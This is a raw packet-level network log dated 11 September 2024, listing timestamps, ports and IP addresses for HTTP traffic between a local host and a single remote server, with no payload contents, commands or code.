Sep 11, 2024 18:23:53.189519882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.189521074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189591885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189594984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189599037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189605951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189614058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189615965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.189615965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.189618111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189624071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189626932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189659119 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.189670086 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.189688921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189692020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189696074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189752102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189755917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189760923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189765930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189769030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189773083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.190033913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.190033913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.237046957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237051964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237056017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237117052 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.237159014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237266064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.237375021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237385035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237390041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237396002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237399101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237411022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237417936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237421036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237425089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237457037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237461090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237464905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237469912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.237469912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.237471104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.237502098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.237514019 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.432370901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432385921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432391882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432398081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432405949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432410002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432414055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432420015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432430983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432447910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432452917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432456017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432466030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432471037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432476044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432478905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432482958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432487965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.432646036 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.433023930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433053017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433057070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433060884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433064938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433073044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433078051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433079958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.433166027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.433219910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433223963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433228016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433232069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433242083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433244944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433248997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433254004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433258057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433320999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433325052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433329105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433334112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433342934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433346987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433351994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433365107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433368921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433377981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433382034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433389902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433389902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.433389902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.433394909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433398008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433401108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433406115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433413029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.433458090 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.433458090 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.436258078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436261892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436265945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436270952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436279058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436283112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436286926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436291933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436295033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436363935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436367989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436372042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436378002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436412096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436415911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436422110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436424971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436429024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.436429024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.436434031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436439037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436443090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436446905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436485052 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.436557055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436561108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436564922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436569929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436578035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436582088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436585903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436589956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436593056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436598063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436640978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436641932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.436641932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.436650991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436656952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436661959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436671019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436675072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436680079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436682940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436686993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436691999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436749935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.436749935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.436925888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436937094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436959028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436963081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.436990023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.436997890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437001944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437005997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437011003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437019110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437024117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437062979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.437062979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.437154055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437156916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437160969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437165976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437174082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437177896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437182903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437186956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437191010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437196970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437200069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437239885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.437239885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.437272072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437275887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437280893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437287092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437294960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437298059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437303066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437306881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437309980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437315941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437319040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437325001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437349081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.437383890 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.437402010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437406063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437408924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437416077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.437520981 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.438431025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438452005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438456059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438483953 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.438522100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.438550949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438555002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438559055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438564062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438571930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438575983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438632011 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.438659906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438663960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438668013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438673019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438679934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438683987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438689947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438693047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438697100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438703060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438705921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438710928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438731909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.438741922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438746929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438776016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.438833952 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.438908100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438911915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438929081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438932896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438941956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438946009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438951015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438954115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438956976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438961029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438966990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438971043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438975096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438986063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438988924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438992977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.438997984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.439002991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.439007044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.439012051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.439021111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.439022064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.439022064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.439024925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.439029932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.439033031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.439125061 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.441312075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441358089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441366911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441374063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441376925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441385984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441390991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441390991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.441395044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441399097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441451073 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.441451073 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.441478014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441482067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441485882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441490889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441498995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441504002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441508055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.441760063 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.442266941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442270994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442275047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442348003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442357063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442361116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442364931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442368984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442373037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442425966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442429066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442433119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442439079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442447901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442451954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442456007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442461967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442466021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442471027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442473888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442477942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442488909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442491055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.442491055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.442492008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442523003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442527056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442531109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442549944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.442595959 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.442635059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442637920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442641973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442646980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442656040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442658901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442663908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442667007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442675114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442681074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442683935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442687988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442693949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442697048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442701101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442704916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442708969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.442714930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.442714930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.442940950 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.443144083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443228960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443232059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443234921 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.443236113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443243027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443250895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443254948 CEST	80	49710	104.21.14.133	192.168.2.5
